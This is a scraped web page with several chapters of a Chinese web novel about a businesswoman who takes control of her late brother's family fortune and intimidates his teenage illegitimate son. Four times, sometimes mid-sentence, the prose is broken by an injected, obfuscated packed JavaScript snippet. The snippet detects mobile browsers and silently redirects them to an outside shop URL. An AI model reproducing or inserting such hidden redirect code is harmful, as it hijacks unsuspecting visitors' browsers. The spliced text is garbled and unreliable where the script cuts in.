p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578311|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看顾有加,要能力有能力,要忠诚有忠诚。您就回答我一句实话,为什么您不自己来?” 闵堃这时才入正题:“你姑父和我在闹离婚,现在好不容易缓和点,我没有办法兼顾闵家这些事。再者……” 她回头看了洪宇一眼,“他即便成年了,离能接管家业也还有好长一段路要走,如果我当了监护人,要管闵家管这么久。你姑父家要么有怨言,要么觊觎闵家,无论是闵家还是我的婚姻,保不保得住都是另一说了。” 闵金瑛问:“姑父这是闹哪一出啊?出轨了?” 闵堃啧了一声,“现在说的是闵家的事。我和你姑父的事是我们俩的事,不到你小孩子家的来过问。” 闵金瑛冷笑:“让我来管家怎么不说我是小孩儿呢?”她拿起茶杯,低头吹水面,“所以,姑姑您就想起我来了,捂着藏着闵金玺有儿子的消息,骗我回来,想让我丢下我自己在外头辛辛苦苦打拼的家业,回来给闵金玺养儿子?” “毕竟是血浓于水。” 茶杯敲杯碟,脆响一声如惊堂木。 “闵金玺把我从这家里赶出去的时候,他想过血浓于水吗?我也不过十八岁,比这小子没大多少,现在要我回来要给他的儿子当保姆?我说姑姑,您替闵家尽心竭力这么多年不图回报我就不说什么了,可要拖我进来,那可不能够,别说一年两年,一天都不行。” “金瑛!” “我不图闵家的钱。” 少年的声音倒不似他身形瘦弱,铿锵有力的一句话,抓住闵金瑛的注意力,让她施舍一个正眼看他。 “我不会管闵家的生意,我不懂,我也不想要。我只想好好读书,我还得读大学,我想读研读博。所有的我都不要,你都可以拿走,只要你给我妈妈治病。” “胡说什么。”闵堃往后推了洪宇一把,瞪他一眼,“大人说话小孩子不许插嘴。” “你妈没死?” 闵金瑛嘴巴快,说出口忽然良心发现,觉得这句话对洪峥仪这个唯一受害人有些太不礼貌了。 她尴尬补充一句:“车祸的照片视频我都看了,活下来不容易啊。” 闵堃说:“他妈妈现在在医院,头受了伤,医生说还不知道能不能醒,让家属做好以后她是植物人的准备。” 闵金瑛听了直皱眉。 闵金玺作恶多端,这又是造的什么孽?逼得洪峥仪书读不上家不能回,离开深圳还带了个拖油瓶,回来了几个月就几乎没命?落了个求生不得求死不能的下场。 闵金瑛看旁边这只小鸡崽儿的眼神都多了几丝悲悯,可她转念又想起他是来跟自己争家产的,实在算不上无辜,又把几分悲悯压了下去。 “你现在说这些也没有用,你还不满十八岁,这家不归你管。即便是归你管了,想必闵家也不肯真让我一个女的来当家。不是吗?” 这最后一个问句,随着闵金瑛的目光,落到了闵堃脸上。 “你爷爷还躺在床上没有意识,闵家那些亲戚,还在汕头的就只管把持着服装产业要分红,海运是一窍不通。即便是在深圳的,也没有几个能在闵氏说得上话。金瑛,即便你不能真的继承闵家家业,可你起码能管闵家七八年不止,这期间所有的分红盈利,生意扩张,资源人脉,全都是你的。” 闵金瑛往后靠在扶手椅靠背上,只喝茶不说话。 洪宇不管刚刚闵堃的训斥,又开口:“我可以白纸黑字写下来,从我成年到读完书,所有决策权和收益全都给你。等你站稳脚跟,我不会跟你抢,所有都是你的。” 声音不大甚至带着怯,可闵堃瞪他,他却没有住嘴。 闵金瑛眯着眼睛,细细打量少年的眉眼神色,忽然一笑,放下茶杯,双手交叠在膝头。 “这倒不用。我姑姑说了,一家人嘛,这样,你跪下喊我一声姑姑,我勉为其难替闵金玺那个狗杂碎养几天儿子。跪吧。” 少年脸色登时煞白。 “金瑛!”闵堃开口劝,“开玩笑也不能开得这么过火。” “谁跟他开玩笑?” 闵金瑛细品洪宇那双眼睛里头的愤怒与恐惧,看他贴在裤管旁边攥得指节发白的拳头。 小麻雀硬着头皮不肯往外跳。有点好玩。 她不禁想,如果眼前的洪宇是闵金玺,那该有多好,此刻她是真的觉得可惜,宿敌已死,她满腔愤恨找不到合适的出口,只能从这两分相似的面容上找点甜头聊以慰藉。 少年的膝盖不肯弯曲。 闵金瑛笑了笑,放下茶杯站起身来:“不肯也没关系。看来你妈在你心里也不过这点分量。” 她说完,往书房门口走去,大步流星,没有丝毫犹豫与停顿。 身后忽然扑通一声。 闵金瑛脚步停顿,转过身去,看见少年跪地低头。 少年的面容掩藏在宽大孝帽下,肩膀都在颤抖。 “姑姑。” 4. Combat stance (1) 闵金瑛笑颜如花,一双眼弯弯,下巴一抬:“起来吧,好好去跪你爹,我走了。” 洪宇当即站起来:“你要走?” 闵金瑛这下是真乐了:“好侄子,认祖归宗才几天就进入角色了?” 洪宇一张脸红白交错,咬着牙没说话,那本来就瘦削的脸因为这个动作更显线条锐利。 “怡福花园这片又老又旧,闵家人当这里是龙脉,我可不。你是闵家的长子嫡孙,你在这儿守着吧,我要去住酒店。” 闵金瑛打开书房的门,当即看到外头程叔双手交叠在身前,站在书房门三步开外,刚才的话也不知道他听见没听见,闵金瑛想这闵家的房门隔音向来也还算不错。 她任由书房门敞着,回身来跟洪宇说:“我的律师过几天会来办申请监护人变更的手续。法院的文件能顺利下来,闵家才开始归我管,在此之前,无论是闵家的生意,还是这些白事丧仪……” 闵金瑛指了指各处的挂白,指头落到程叔身上:“我通通不管,你们爱找谁找谁。” 这话当然不是答应接管闵家的意思,洪宇回头和闵堃对视一眼,他刚要开口,闵堃先追上来拉住闵金瑛的手臂。 闵堃不明白直接地问闵金瑛的决定,先扯家常:“晚上回家来吃顿饭吧,我这几天都住家里,一家人吃顿饭。” 闵金瑛低头看闵堃的手,手心覆盖上她的手背,语气柔和,可话语并不客气:“姑姑,我回来可不是为了一家团圆的,这也不是我的家。” 她说完拂开闵堃的手,头也不回地往外走。 闵堃追了两步,只能站在花园里,看着闵金瑛走出闵家大门,外头喧闹半日的唢呐锣鼓终于停休,车辆启动的声音传进来,轰鸣后又渐渐远去。 程叔从屋内走出来,站到闵堃身后。 “大小姐,金瑛小姐当监护人的话,闵家亲戚肯定会闹起来的。” 闵堃没有回头:“她这是还没有答应呢,嫌弃闵家现在是烫手山芋呢。你没听出来吗?” 程叔抿唇不语。 “亲戚闹,可那又能怎么办呢?有能力撑得起闵家的,配撑得起闵家的,只有闵金瑛一个,难道让闵家那些旁系的人来吗?这些年金玺拔走了多少吸血虫,现在要把闵氏交到那些人手上?” “可是交给金瑛小姐,闵氏还能拿得回来,以后给洪宇少爷吗?” “给别人那是一定拿不回来了,金瑛嘛,她是心软,可毕竟被赶出去这么多年,谁都不好说。她挖走闵家一部分生意那是在所难免,这都不算大事。只是程叔……” 闵堃瞪了程叔一眼,“我和金瑛,才是你亲眼看着长大的闵家人,那些旁系的,可不是。你的心向着谁,要自己想清楚。” 程叔低下头。 闵堃转身回室内,脚步缓缓,旁边佣人代劳推开沉沉闵家厅门。 酒店大堂正门被门童推开,闵金瑛跟助理文墨打着电话,走到前台送出身份证,前台一查询,当即另派服务生来送行李陪同上楼。 “见着了。那律师还行,就是胆儿有点小,让他继续干吧。晚上开线上会议,商量哪些人留在北京管我的闵氏海运,哪些人愿意来深圳接管闵家。另外……山东那边,你帮我查一查,我哥那个私生子,是什么个情况。” 套房门打开,服务生替闵金瑛把行李箱放好,领了小费躬身离开。 闵金瑛开了功放,把手机丢在一边,文墨的声音从里头传出来:“你想好了?即便有这么个私生子在,你也要接管闵家?没他在,你是稳赚不赔,有他,可不一定了。” “我这个便宜侄子,还挺有意思的。” 文墨在那头疑惑地哦一声。 闵金瑛踱步到窗边,“人看着像小鸡崽儿一样怕事没见过世面,关键时刻倒是很敢开口,嘴里也没有废话。你别说,他长得是有几分像我哥,可我看着他反倒想起我小时候来,老话说‘外甥像舅’,我说‘侄子像姑’也不过分吧?” “闵金瑛……” “好好好。”闵金瑛笑声连连,终于肯回正题,“一年,能发生很多事。不过我还没答应闵家,先吊一吊他们。而且闵氏集团还有我那个死鬼哥哥留下来跟刀疤琛的旧帐,现在接手就是惹祸上身,过阵子就安全了。” “你不会真信一年之后还会继续让你管闵家吧?你今天刚跟我说有这么个侄子,我已经让人去查了,洪宇和他妈这日子是苦过来的,现在他妈在ICU躺着,以后医疗费护理费营养费,对他来说是天文数字,他从秦始皇元年开始打工都赚不来。这样的人,怎么肯放弃闵家的钱?” “我当然不信他会放弃。我没钱吗?我有的是钱,可换作是我,我也不会放弃闵家的钱。谁会跟钱过不去?不过我看他对他妈还是挺孝顺的,这一年里,我先捏着他妈来控制他,之后嘛……” 闵金瑛走到窗边美人榻坐下,仰靠躺椅内,翘起二郎腿:“之后的事我也还在想,这小子肯定能让我拿捏住的。总之,闵家一定是我的。” “其实闵家这一大摊子事,只要这一年里,你能把越南的港口谈下来,放进我们自己的兜里,这也算一笔好买卖了。至于闵家其他的航线和码头,依我看,能捞多少捞多少。” 闵金瑛皱皱眉头:“你的意思是,我们只管这一年,一年之后直接从闵家撤了?” 文墨那头沉默几秒:“我知道闵家家大业大,我也知道你多想把闵家拿到手,可是吧,你想想闵家那帮亲戚。这样,跳出闵金瑛这个身份,你自己理性判断下,是不是这样最划算?” “我想想吧。” 文墨又沉默了。 相识多年,文墨也明白闵金瑛这是不可能轻易放弃,她也没有别的办法和理由去说服闵金瑛,只能留时间让闵金瑛自己想清楚。文墨话题一转,跟闵金瑛报告说德国的事情进展顺利,又提了其他几件需要闵金瑛决策的事情,准备挂断电话继续工作。 “哎,慢着,还有件事。” 闵金瑛垂下眼,思考利弊,还是决定开口。 “墨墨,你找人去查一查闵金玺和洪宇的亲子鉴定报告,看看真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578312|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假。一定要保密,闵金玺的尸还没火化,我会拦下来,让人把样本寄给你,重新做一次亲子鉴定。” 文墨沉默半晌:“你怀疑他不是闵金玺的?如果他不是……那财产就是你跟你爷爷平分,你爷爷现在病情不乐观,他一旦没了,他那份就是你姑姑的。闵家应该是你跟你姑姑对半分。” “对,我还要想一想这件事。我姑姑已经嫁人了,她这人保守传统,娘家的事她老觉得自己不该管太多,这样家长里短需要长辈主持公道的,她还愿意说话,让她回闵家管生意,那不可能。我原本也是这个打算,所以才乐呵呵地赶回深圳来。” 闵金瑛把二郎腿换了个方向,语气也变得更兴奋,“哎我听她说漏了一两句,说我姑父在跟她闹离婚,十有八九是出轨了。” “真的?”电话那头文墨的声音也因为八卦而变高了几个度,可她一下子就冷静下来,“你在深圳还得探探这件事的虚实。如果你姑姑离婚了,保不齐就回来跟你抢了。” “你说的对,我明白,深圳这边我去查。你什么时候来深圳啊?” “我处理完北京的事情就回深圳找你。金瑛,你在深圳一切小心。” 闵金瑛笑嘻嘻,对着电话连连答应又么么两声,又说等文墨来一起好好吃一顿椰子鸡,这才把电话挂断。 从在埃森上飞机到进酒店套房,闵金瑛一路神经兴奋,即便是在飞机上睡着了,梦里不是过往和闵金玺的商场撕咬,就是推演以后如何接手闵家的生意。此刻终于有些眉目,困倦终于沿着四肢百骸爬上来。 她到浴室卸妆放好洗澡水,泡进深深浴缸里头,看窗外夕阳沉沉堕出天幕外,闭上眼睛,脑海浮现出闵金玺和洪宇的两张脸来。 一张让她痛恨,一张令她烦恼。 闵金玺真是,即便死了都能给她带来麻烦。如果没有洪宇的出现,她轻轻松松回来,哄一哄闵堃,把闵堃推上董事会作靠山,她就能把闵家全部捏在手心里。 可是偏偏杀出来一个私生子,彻底打乱了她的计划。 最好的结果,是洪宇乖乖任她搓圆按扁,作她的挡箭牌。她闵金瑛大方,可以养着洪宇的妈并供他读书,那点钱对闵家对闵金瑛来说都不算什么,她闵金瑛从此垂帘听政作真正的闵家当家人。 最坏的结果,是洪宇一年以后过河拆桥,她在这一年里头要是不能把越南的港口抢走,那就是赔了夫人又折兵,既浪费了光阴,还给海运的对家做嫁衣裳。 不行,这不可以。 可如果,洪宇和闵金玺那纸亲子鉴定是假的。这局棋又可以怎么下呢?闵金瑛睁开眼,和浴室镜中的自己对视。 她得先摸清楚这个便宜侄子到底想要什么,想不想要闵家家业,对他妈到底是真心孝顺还是装乖扮巧。 新晋便宜侄子洪宇再见到新晋贵姑姑,已经是一个星期之后。 周五下午,洪宇背着书包在校门口等闵家的车,却等来了一辆安可拉红的保时捷918。 车窗降下来,闵金瑛懒懒往后靠:“上来。” 5. Combat stance (2) 闵金瑛靠在座椅内,手肘抬起懒懒放在车窗上,眼神写满了慵懒和厌倦:“上来。” 洪宇没有动:“我在等闵家的司机,回怡福花园。” 闵金瑛皱起眉头:“闵家的司机今天不会来。上来,别让我说第三遍。” 即便是在深圳遍地豪奢的地界上,闵金瑛开着的这台红色超跑也张扬得足以令人侧目,旁边来往的同学自然也在这侧目的人其中。 洪宇转来的这所高中是寄宿制,原本应该是周六才能回家。今天只是周五,可要提前回家的学生已经不少,人来人往,来往学生的目光在骚包的跑车和瘦高的洪宇之间逡巡,从好奇变得暧昧和探究。 少年脸色涨红,赶紧要拉开车门。 可闵金瑛没开锁,任他用力拉扯一两回,在别人目光中承受尴尬审视。闵金瑛笑眯眯关上洪宇这张红透了的脸,这才慢悠悠地升了车门锁。 洪宇坐进车里,用力把车门“嘭”地一声关上。明知被戏弄,怒得一张脸红透,却一个字不敢说,他自己把安全带拉上扣好,沉着脸等待车发动。 闵金瑛得寸进尺,又“啧”了一声,往麻雀前头踩一脚:“怎么这么没礼貌,你妈没教过你要叫人吗?” 洪宇下颌线绷紧,低下头去,半晌才开口:“姑姑。” “哎——”闵金瑛把这一声拉长,话语尾巴带着的笑声更是泠泠如泉水,每一声都荡漾着高兴,“这还差不多。” 闵金瑛吹起口哨,将车窗升起,驱车原地掉头,融进车流。车窗外景色变化,洪宇很快认出来这不是回闵家老宅的路。 “要去哪儿?我晚上还要去看我妈妈。” 闵金瑛单手握方向盘,另一只手抬起插入发丝间,往后潇洒一梳。 “带你去吃饭。放心,我的大孝子,吃完饭我给你送到医院去。”她说着扭过头来,发丝飘扬衬着笑意张扬。 “你妈在鹏城一院,对吗?” 洪宇脸色一白:“你不要动我妈。” 闵金瑛一双眼锐利地擒住洪宇脸上的表情变化:“反应挺快,不笨嘛。放心,只要你乖乖听话,你妈会得到最好的治疗。鹏城一院不怎么样,我会把她转到更好的医院去。” 洪宇攥紧了真皮座椅,扯着安全带也非得迎上来质问:“你动她,我死也要你好看。” 闵金瑛靠着前车缓缓停下等红灯,看着车窗外红光赤淋淋一样挂在洪宇的五官上,照亮了他一边的脸,照亮了那眼里的怒火。 闵金瑛歪头看他,嘴角缓缓往上,双眼漆黑如夜色,就这么一声不吭地笑看着他发怒。 洪宇脖颈后登时起了薄薄一层汗,觉得自己的怒和勇都被那双眼吸了进去,他偏头避开闵金瑛的视线,瘫坐回去,只盯着车前窗外的马路与车辆。 “你还不是我的监护人,更不是我妈妈的监护人,你不可能给我妈转院。” 闵金瑛笑着露出一排白牙:“哦?是这样吗?” 红灯转绿,洪宇咬牙回头,看见闵金瑛一双眼森然绿幽幽,他只能攥着拳头强压住自己肩膀的颤抖。 闵金瑛轻飘飘看了一眼洪宇握拳的手,扭头回去踩下油门,驱车向前,扭头回去直视前方。 “你要当闵家人,想在闵家活下去,要跟闵家人斗,首先要学会‘喜怒不让人知’,动不动就炸毛的,谁都知道你的软肋是什么了。喜怒都是工具,不是用来表露的,是用来演的,懂了吗?” 洪宇不说话,呼吸加深,强迫自己松开握紧的拳头。 闵金瑛看了眼洪宇的手,说:“你放心,我不是你那个恶霸爹,我不欺负无辜的人。你妈躺在病床上,和我抢不了东西。你乖乖当我的好侄子,我当然不会动她。” “我不会和你抢。你的律师拿着文件来,我立刻就签了,明明是你在拖流程。” “呦呵,大少爷,给人当监护人是件大事啊。我不应该考虑得久一点吗?” 洪宇垂下眼:“你还要考虑什么?” 闵金瑛换了只手扶方向盘,左手撑在车窗窗沿:“你转来深圳读书,还习惯吗?” “还好。” 闵金瑛啧了一声。 洪宇深吸一口气,又补充:“成绩还跟得上,这次月考是年级第一,元旦放假之后回去就要期末考了。” 闵金瑛努着嘴点了点头,似乎对这答案的详细程度很满意,又问:“想考什么大学?” 洪宇顿了半晌:“以前想去北京,现在……还没想好,我不放心我妈,可能留在深圳吧,或者去广州。” 闵金瑛摇摇头:“那太可惜了,再想想吧。你在学校没有加入什么社团吗?打个篮球踢个足球什么的。你完全不运动吗?” 洪宇一双眼跟着皱眉时变深的眼窝一起暗下去。 学习怎么样? 运动不运动? 考什么学校? 闵金瑛问这些完全不是要关心他的学习与生活,更不是要考虑什么监护人不监护人的,只是拿他寻开心。 又或是,要他习惯无论如何都得思考并回答她的问题。只要她问,他必须认真回答,一丝一毫的敷衍都不能有。 “没有,我没有时间。我……我妈靠教学生画画赚钱,钱不多,我得给同学补习赚点钱补贴家用,我没有时间。” 洪宇看着闵金瑛嘴角微动,继续说:“球鞋也贵,我……我不舍得。” “晚上想吃什么?”闵金瑛换了话题,没有一丝一毫的过渡,“那家融合菜,浓油赤酱的也有,口味清淡的也不缺。” “我不挑食。” 闵金瑛伸手开了音乐,填充剩下车内短暂沉默,洪宇顶着音乐开口:“还有什么别的要了解吗?” “我问你再回话,你妈没教你礼貌吗?” “对不起,姑姑。” 闵金瑛哼一声,果然没有再开口问,洪宇偏头看向窗外去,看见车窗上自己的倒映,嘴角往上,一个明显的弧度。 喜怒不让人知。闵金瑛刚刚的话在他的耳边又响起来,他把嘴角弧度压下去,压平得彻底看不出来。 车程不到半小时,闵金瑛的车沿路上山,在半山腰停下。 门童迎上来给闵金瑛开车门,喊了句“闵总”,说完伸手往山林深处引。洪宇下车来,跟着闵金瑛踏上那条通向餐厅的曲折铺石路。 这餐厅藏在山里,石板路往前分出五六条岔路来,第一个分叉口处穿着制服的服务生迎上来,朝闵金瑛躬身问好。 闵金瑛下巴轻轻抬:“人来了吗?” “黄总已经来了,在等您,闵总这边请,小心脚下。”服务生往前引,带着两人进餐厅。 这餐厅藏在山林中,盘踞半山腰,似乎是整座餐厅都融进了这景致之中,成为了景色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578313|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一部分。风吹过竹林响,水声潺潺,鱼游其中。洪宇跟在闵金瑛身后,绕过鱼池穿过石拱门,一路上楼。 露台上只摆了一张桌子,今日天清气朗,连遮阳的伞都早早收了起来,夕阳铺满露台,洒在圆桌上,沿着葡萄酒和酒杯折射出绚烂光彩。一个女人坐在桌边,将酒杯拿起来,轻轻抿一口,那光彩随着动作在她身上流淌摇晃,绸缎一样的惹人视线流连。 “嫂子。” 黄敏宁闻声抬头,合上手里的菜单,放下那只流光溢彩的酒杯:“你哥在世的时候,你也没正经叫过我一声嫂子,现在他死了,我和他也早就离了,叫嫂子就太过了吧。” 闵金瑛笑着走过去,任服务生替她拉开椅子,她侧身坐下,拉着黄敏宁的手,郑重说:“是呢,应该叫敏宁姐。” 旁边的洪宇还没坐下,服务生已经替他拉开椅子,可闵金瑛还没开口,他仍旧站着原地没动。 黄敏宁抬眼,将洪宇从上到下打量,视线定在他脸上,最后置评:“长得不像。” 闵金瑛回头来看洪宇,表情是明晃晃的故作惊讶:“是吗?好像敏宁姐说得对,现在看起来,是不太像我哥。” 洪宇的手在宽大的校服袖子里头握紧,顶着闵金瑛的视线压迫,与她对视。 他只觉得现在自己如同马戏团里头装在笼子里的展出动物,被人提过来扯过去地展览。不知道动物是否会感到痛苦和折磨,反正此时此刻的洪宇是觉得, 黄敏宁说:“坐吧,都这个点了,我都饿了。” 洪宇看向闵金瑛,后者轻轻点头,他才真在旁边坐下。闵金瑛勾勾嘴角,洋洋得意在脸上毫不掩藏,就差伸手去摸摸洪宇的头夸奖。 黄敏宁的视线再不停留于洪宇脸上一瞬,她抬头叫来服务生,点了两个菜,又把菜单给闵金瑛,让她补了两个。 服务生抱着菜单下去,露台上只剩下这三个人与一地夕阳。 黄敏宁拿过一只空酒杯来,抬手要给闵金瑛倒一杯,可闵金瑛先伸出手去,把杯口盖住。 “今天喝不了了,我还得开车。” 黄敏宁挑眉:“没带司机?” 闵金瑛笑:“我那跑车就俩座儿,这还是个未成年,我还能找谁?只能我给自己当司机,自己开。” 黄敏宁也笑起来:“怎么还先弄了辆跑车来?新买的?这么喜欢。” “现在房子还没有收拾出来,就住酒店,也没有自己的车库,只能先紧着最喜欢的这一两台车。过阵子吧,等我后头把其他车运过来深圳了,我找机会跟敏宁姐你好好喝一杯。” 黄敏宁听了这句话,往后靠在椅子靠背上,认真看闵金瑛:“你还真要来深圳接闵家这摊子事?” 闵金瑛笑:“人不跟钱过不去。” 黄敏宁冷笑两声:“我可告诉你,闵家亲戚难缠,即便是你哥闵金玺那种心狠手辣的人,处理他们都头疼,你在这儿,只怕阻力更大。” “越难挣的钱,挣起来越有意思。没办法的事,得怪我妈把我的野心生得这么大,就爱跟人叫板。” 黄敏宁摇摇头:“你自己想吧。” 闵金瑛斜睨了一眼旁边的洪宇,却见他视线落在那碟配酒的火腿果干上,伸手拿了过来,推到他面前。 洪宇没料到这举动,条件反射地往后一退,生怕触电一样避开闵金瑛的手。 6. Combat stance (3) 闵金瑛因这动作扬起嘴角,可她的注意力并没有放在洪宇身上多久,扭头回去面对黄敏宁。 “闵家的事情另说。今天找敏宁姐,既是叙旧,也是聊公事。敏宁姐手上的单子,大可还是安心交给我,我给你的条件跟之前一样,不会因为我现在竞争对手死了,就跟你坐地起价。” 闵金瑛自己不喝酒,却拿过那瓶葡萄酒,给黄敏宁倒了半杯:“敏宁姐,我刚从德国进了三艘拉美极限型船,还有八艘国产的拉美极限型集装箱货船,今年春节前就能交付到手,完全赶得上来年的春季外贸高峰。闵氏集团是一团乱,我这儿可是‘时刻准备着’,也是‘早就准备好’。” 黄敏宁笑:“三年前我和你哥还没谈离婚呢,你就来跟我谈,要承运我手上所有的外贸服装,明摆着跟你哥跟闵家抢生意。可我现在也先告诉你,如今外贸这行越来越不好做,不然你哥也不会点头跟我离婚,跟黄家脱钩。” “市场低迷我正好拉高占比嘛,欧美根本不可能重建自己的服装制造产业,国内的制造利润低了,我还能开拓越南的货源地和劳动力,那儿的港口和厂子还便宜,这个我也正在谈。” 闵金瑛说着这话,风轻云淡地捏着那只空玻璃酒杯把玩,细长杯脚在手指间翻过来转过去。 她偏头扫一眼刚才推到洪宇面前的小盘果干,现在上头的火腿片只剩下薄薄一张,坚果清了大半。 有这么饿吗?几点了?哦,六点刚过而已啊。 洪宇看见闵金瑛的眼神,似有犹豫,可还是伸手去捏了一颗杏仁。 闵金瑛跟黄敏宁对视:“再说了,我刚开始做生意的时候寸步难行,要不是你最开始给我下的单子,我没办法在海运这行当里走这么久。这一行再不好做,只要你我在这行里一天,我也会先跟敏宁姐你合作。” “在商言商而已,其实和你合作我没有什么不放心的,只是……”黄敏宁摇摇头,“你自己考虑吧。” 闵金瑛拉住黄敏宁的手,“哎呀,我知道你为我好。虽然你和我哥只是名义上的夫妻,我心里也不认这个哥,可你是我的真嫂子。不,你是我的亲姐。” 黄敏宁笑:“你要是当初嫁给我弟弟,还真能叫我一声‘姐’。” 闵金瑛松开黄敏宁的手:“哎,那还是别了。” 当初闵金瑛被赶出闵家,就是因为闵金玺逼她嫁给黄家,要做成这桩闵黄联姻。要嫁的不是别人,就是黄敏宁的亲弟弟黄敕安,圈子里无人不知无人不晓的纨绔。不,说是纨绔还有些侮辱纨绔了。黄敕安是吃喝嫖赌抽五毒俱全。 只是闵金瑛是没想到,她宁可离家出走都不进黄家门,不到一年后,闵金玺却和黄敏宁结了婚,紧接着黄敕安就在国内销声匿迹。也是好久之后闵金瑛才打探到,闵金玺扶植黄敏宁上位,黄敏宁把生意跟闵金玺绑定,两人不过是生意场上假夫妻。 可这场假夫妻真伙伴的戏,两人演了十来年,最终在两三年前服装外贸行业低迷期落下了帷幕。没了闵家的支持,黄敏宁打理自家生意虽然说不上力不从心,但确实比从前要吃力许多。黄家也是群狼环伺,连闵金瑛都听说黄家那些老不死的想把黄敕安从东南亚捞回来跟黄敏宁分权。 这闵金瑛于公于私都不乐意见到,所以跟黄敏宁联手她必须要做。 服务生终于来上菜,闵金瑛抬手跟服务生示意,把其中一份红烧肉先放到洪宇那边,又叫服务生把后面的餐食加快点。 她侧过去脸,低声探听八卦一样问黄敏宁:“敏宁姐,你弟弟还没死吗?” “哪儿能啊?独苗。不过早送他去东南亚了,丢了一片半死不活的产业园让他管,爱怎么闹怎么闹吧,派人看着死不了就行。” 闵金瑛一脸鄙夷,锐评:“你们家基因真好,毒抗很高啊。” 黄敏宁提起筷子:“三年前我爸临终时,还想让他做试管要个孩子,幸好他都被毒到无精症了,不然还真要祸害代孕,恶心死我了。” 闵金瑛跟着翻了个白眼:“幸好现在终于到你当家了,以前再恶心,现在也好过了。只要我在一天,我死也会帮你把他摁在国外。” 黄敏宁捏着葡萄酒杯,和闵金瑛的玻璃水杯轻轻一碰。 放下杯子,黄敏宁又问:“你哥准备什么时候火化办葬礼?我下周要去越南考察新厂的选址,好歹夫妻一场,你哥这么多年也是我很好的生意伙伴,这周内办葬礼的话,我还是可以去一下。” 洪宇一直埋头吃饭,筷子动作一顿,抬眼往两人看,可视线一起来,当即撞上闵金瑛的眼睛。 手一抖,险些没有拿稳筷子,只能用力捏住。 他低下头去。 闵金瑛一嗤:“不急,这才一周多。车祸事故鉴定、尸检报告,什么鉴定报告不得一周多才能出来啊?” 这话语调怪异,黄敏宁的视线也跟着在闵金瑛和洪宇之间转了两回。正要发问,闵金瑛开口又回到了生意上,拉着黄敏宁聊了拉美市场的情况,算是把合作敲定,临走时闵金瑛挽着黄敏宁的手确认,说财务和律师明天就到黄敏宁的办公室去签订合同。 黄敏宁心下明白闵金瑛是一定要做成这单生意,也就点头答应下来。酒足饭饱生意谈成,黄敏宁把闵金瑛送上车,自己在外头等司机取车来接,跟闵金瑛挥手道别。 门童把车开过来,闵金瑛山车扣好安全带,单手扶着方向盘没先发动,看一眼洪宇,说:“听明白刚刚那个是谁了吗?” 洪宇抬眼看闵金瑛:“闵金玺的前妻。” 哒!闵金瑛曲起手指在洪宇发顶敲了一记。 “错啦。是闵家的大客户,噢,现在是我闵金瑛的大客户。”闵金瑛冷笑一声,调转车头,沿着原路下山。 洪宇抿了抿嘴唇:“知道了,我可以去看我妈了吗?” “吃饱了吗?” 答非所问。可这询问声音难得温柔,洪宇都有些不适应。 洪宇犹豫半晌回答一声“饱了”,可他直觉觉得闵金瑛必不可能止步于此,下意识攥紧了拳头,又想起闵金瑛的话,克制冲动,把拳头松开。 闵金瑛果然笑了一声:“都说‘半大小子吃穷老子’,老话是真不是骗人啊。你这跟饿了三天一样,没吃中午饭吗?” 洪宇明知闵金瑛只是又拿他取乐,根本不想回答,但闵金瑛可不允许他忽视她任何一句话。 他只是沉默多三秒,她当即开口,毫不客气:“嘴巴吃饱了,耳朵就聋了吗?” 洪宇回答:“不是。吃了的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578314|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闵金瑛从鼻腔里发出一声哼:“下回带你出来吃饭之前早说,我还得带你先吃一顿垫着,少给我丢人。” 洪宇没开口回答,只嗯了一声,咬牙半晌,还是没忍下反驳:“你没必要带我来,我说了,我对闵家的生意没有兴趣,我对闵家其他人也没有兴趣。” 闵金瑛懒懒看他一眼。 闵金瑛看他的眼神如看一只狂吠的奶狗。 洪宇似乎是一记重拳打在棉花上,怒火越推越高。 “少爷气性真大啊。有没有必要,是我说了算。现在是闵家求我,你也求我,你觉得你有资格判断有没有必要吗?” 洪宇咬牙,吞不下去的字从齿缝挤出来:“你只是想通过折磨我,来报复你哥。” 闵金瑛不答,而刚刚吃下去的食物像燃料一样,将少年的怒气直接点爆。 “我活了十七年,我妈带着我躲了十七年,他没有一天真当过我父亲,我没有受过一天他的恩惠,你凭什么把对他的怒气发泄到我身上?我欠你什么了吗?” 闵金瑛嘴角仍旧往上扬:“小子,你学过什么叫‘有求于人’吗?你知道你现在在跟谁发火吗?” 轻飘飘的两句话,上称未必足四两,可却能拨动千斤怒意。 洪宇的气焰一下子弱了下去。 她的车头朝向的是鹏城一院,他妈还在她手上。 